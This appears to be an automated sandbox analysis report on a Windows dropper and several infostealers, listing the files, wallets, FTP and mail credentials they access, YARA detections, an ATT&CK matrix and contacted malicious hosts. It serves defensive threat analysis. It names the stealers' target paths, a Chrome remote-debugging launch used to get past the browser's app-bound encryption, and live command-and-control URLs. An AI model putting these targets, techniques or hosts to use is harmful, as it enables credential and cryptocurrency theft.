Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004

Source: 1d003e9e16.exe	Binary or memory string: WIN_81
Source: 1d003e9e16.exe	Binary or memory string: WIN_XP
Source: 1d003e9e16.exe, 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: 1d003e9e16.exe	Binary or memory string: WIN_XPe
Source: 1d003e9e16.exe	Binary or memory string: WIN_VISTA
Source: 1d003e9e16.exe	Binary or memory string: WIN_7
Source: 1d003e9e16.exe	Binary or memory string: WIN_8

Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO

Source: Yara match	File source: 00000011.00000003.3219279190.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3173428242.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3245612427.0000000000AED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3174767905.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3173346286.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3076592004.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3126764052.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3076217937.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3217338476.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3129023930.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3131692254.0000000000AED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 41266a11cd.exe PID: 1984, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 1d003e9e16.exe PID: 6612, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 41266a11cd.exe PID: 1984, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000014.00000003.3082256465.0000000005310000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000003.3255598297.0000000005150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 813d0f4405.exe PID: 4612, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_00431204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		23_2_00431204
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_00431806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		23_2_00431806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	131 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	421 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	2 Valid Accounts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	3 Obfuscated Files or Information	Security Account Manager	13 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	12 Software Packing	NTDS	3610 System Information Discovery	Distributed Component Object Model	21 Input Capture	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	111 Registry Run Keys / Startup Folder	2 Valid Accounts	1 DLL Side-Loading	LSA Secrets	11 Query Registry	SSH	3 Clipboard Data	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	21 Access Token Manipulation	2 Bypass User Account Control	Cached Domain Credentials	10101 Security Software Discovery	VNC	GUI Input Capture	114 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Windows Service	1 Extra Window Memory Injection	DCSync	591 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	212 Process Injection	11 Masquerading	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	1 Scheduled Task/Job	2 Valid Accounts	/etc/passwd and /etc/shadow	11 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	111 Registry Run Keys / Startup Folder	591 Virtualization/Sandbox Evasion	Network Sniffing	3 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	21 Access Token Manipulation	Input Capture	1 Remote System Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	212 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Regsvr32	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	42%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\SillyShelf[1].exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-46S6P.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-46S6P.tmp\_isetup\_shfoldr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-DTH22.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-DTH22.tmp\_isetup\_shfoldr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	2%	ReversingLabs
C:\Users\user\AppData\Roaming\PoisedCoyote.dll (copy)	3%	ReversingLabs
C:\Users\user\AppData\Roaming\is-K9C20.tmp	3%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse
home.fvtekk5pn.top	2%	Virustotal	Browse

Name	IP	Active	Malicious	Antivirus Detection
example.org	93.184.215.14	true	false	0%, Virustotal, Browse
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse
home.fvtekk5pn.top	34.116.198.130	true	true	2%, Virustotal, Browse
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false
plus.l.google.com	216.58.206.46	true	false
cook-rain.sbs	188.114.96.3	true	true
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false
fvtekk5pn.top	34.116.198.130	true	true
contile.services.mozilla.com	34.117.188.166	true	false
youtube.com	142.250.186.110	true	false
play.google.com	142.250.186.78	true	false
s-part-0015.t-0009.t-msedge.net	13.107.246.43	true	false
www.google.com	172.217.16.196	true	false
js.monitor.azure.com	unknown	unknown	false
spocs.getpocket.com	unknown	unknown	false
detectportal.firefox.com	unknown	unknown	false
ntp.msn.com	unknown	unknown	false
apis.google.com	unknown	unknown	false

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true
http://185.215.113.206/68b591d6548ec281/nss3.dll	true
gPhome.fvtekk5pn.top	true
"home.fvtekk5pn.top	true
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	true
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	true
QUERY\|rd\|AAAA\|IN\|home.fvtekk5pn.top	true
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	true
http://185.215.113.206/68b591d6548ec281/mozglue.dll	true
p10tgrace.sbs	true

URLs from Memory and Binaries

Name	Source	Malicious
https://duckduckgo.com/chrome_newtab	41266a11cd.exe, 00000011.00000003.3081516041.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081160759.000000000567B000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081261298.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3262392371.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3272611733.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3258033041.0000000005969000.00000004.00000800.00020000.00000000.sdmp	false
http://compose.mail.yahoo.co.jp/ym/Compose?To=%sFailed	firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	false
